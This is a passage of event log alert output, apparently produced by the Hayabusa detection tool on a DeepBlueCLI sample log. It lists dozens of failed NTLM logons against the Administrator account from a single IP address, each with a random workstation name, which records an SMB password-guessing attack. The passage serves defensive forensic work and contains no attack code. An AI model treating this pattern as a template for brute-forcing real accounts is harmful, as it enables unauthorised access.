NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWzSR1cJ2XJNirSW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 39MY5ZvRJSHVkZZV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WyOdltctwdHNkH6i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUcWk0xJn9zVMZSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f2sauqNlJi3y0ZBk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bkih5QcLlcjw9gjg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3KlUJslcpS9jhLY4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: riuVWV1Ugr9c22hR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OSj1I0sXkPf96OL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KsOJDxDiZSjoBj6F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uH0bQ9zEi1xcfHn3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3AfNT0p4JC1VEfDd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S7T8R8U1WVHZQrYk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kamexpa7isWT8gLC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8CyHFKVcdTo0Upx3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U30aMcZuBD08GWK1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4mihftSCNCYdlBny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.553 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K2wa0xwK6tnurGJQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0V3TbNrKEnrDcEYt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T73JW9JURm8Br6MA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OAleyg3h8aMvVVJk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1LQllnWZFUIWa6rw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlwPxSGUmvYH0rpL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrI56o5TyeO48rQV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CKRMn75tv5Yi5rYK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MbJvec7rVisJ6WCC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xoubp5WTPqblBaps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rBczkR92cKY41icQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MfUx3OizEb1LiOzj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SRaSOLOWhBEr0qkz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YnlI8Zh4td5m1fpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wXUDXDa4wi3HivKo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TT7iOtVMFcEysCcI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1NJpI7KC3gj99aWs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H39cv9JEuLEjlp93 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4p9h1cjLeUzppSZb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0fOpi4vr55QmO6x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GiKI4V6kpkY5zc9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dLmu4n9qZdf3Q5zo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 87iJdX2E0ZJintvr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nxc4iIHP0kdqQNiG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RJIWekwBwcIUWjD1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GdnvboiIDzXTZ8MR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QGMPHNpljTlMYeet : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWo4uVFtAbe4IjKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YAPdDqbMY4rYiuZ3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ai2WCQ3MkWwSeOy9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.946 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ey1wbsD7w3fs02xP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.983 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sVGzidwZICNfLizg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zjGPMJ6RBw48Ejx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MydK8AjPvyyckCEL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fqkCliAQMiFffQU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITkku4kN4csBFyUB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f5g9kMkSFhKrT2Py : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1xKLdwujTmLEc9ts : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sAW1YzCQ3CreseaP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhqBirEHOKPepR3n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5uqSFXpzAWOnc90n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: McbeS9lRpbMc48jO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.477 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6J0d7dQUmJNKJlu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QG3WU91rhTP9odx7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.579 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hSQRgB8yMfhb03g1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.614 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bzbZjRXTc0XvV4Ry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k3ShOCSaLGX4YBWE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lIrydzi8nmY251Z1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h4vlRksTGxAqEt9j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uJMnD0foEDbcNfTj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.829 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNWppBJLFojEFtiF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7a9Tvr6ruDpiG2T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBNIizCKz2ybc3eM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YwuXQhISpgfSFqZ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.011 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeONLdrrauxqvgaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RFqSH4toadsTideV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HuMa0Juj1tjL6NDY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UA8zU0kJ6gAFqSaF : IP Address: 192.168.198.149 : AuthPackage: 